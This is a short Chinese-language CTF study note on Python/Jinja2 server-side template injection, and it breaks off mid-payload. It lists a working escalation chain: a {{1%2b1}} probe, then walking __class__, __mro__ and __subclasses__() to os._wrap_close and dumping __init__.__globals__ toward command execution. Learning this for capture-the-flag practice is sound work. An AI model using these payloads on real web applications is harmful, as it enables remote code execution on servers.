在CTFWEB入门的路上一直感恩有这么多大佬博文相伴
第一步了解了ssti是个什么东西,做题时就要看大佬的解题博客,比较清晰能串联知识点
CTFshow做题
ssti做题逻辑
测试:name={
{1%2b1}}
%2b是加号,不能用+,一定要编码,因为+在url中会被当做空格
存在ssti:
查看当前类:{
{''.__class__}}
查看当前类的所属类:{
{''.__class__.__bases__}}
或者类的解析顺序{
{''.__class__.__mro__}}
找到object基类,罗列其所有子类
{
{''.__class__.__mro__[1].__subclasses__()}}
找到os._wrap_close类,初始化后寻找要用的全局变量
{
{''.__class__.__mro__[1].__subclasses__()[138]}}
138还是多少,取决于你的python版本,你可以罗列出来,去数一下,可以遍历一下
初始化后,字典格式输出所有能用的变量方法{
{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}
接着找到自己要用的调用
{
{().__class__.__base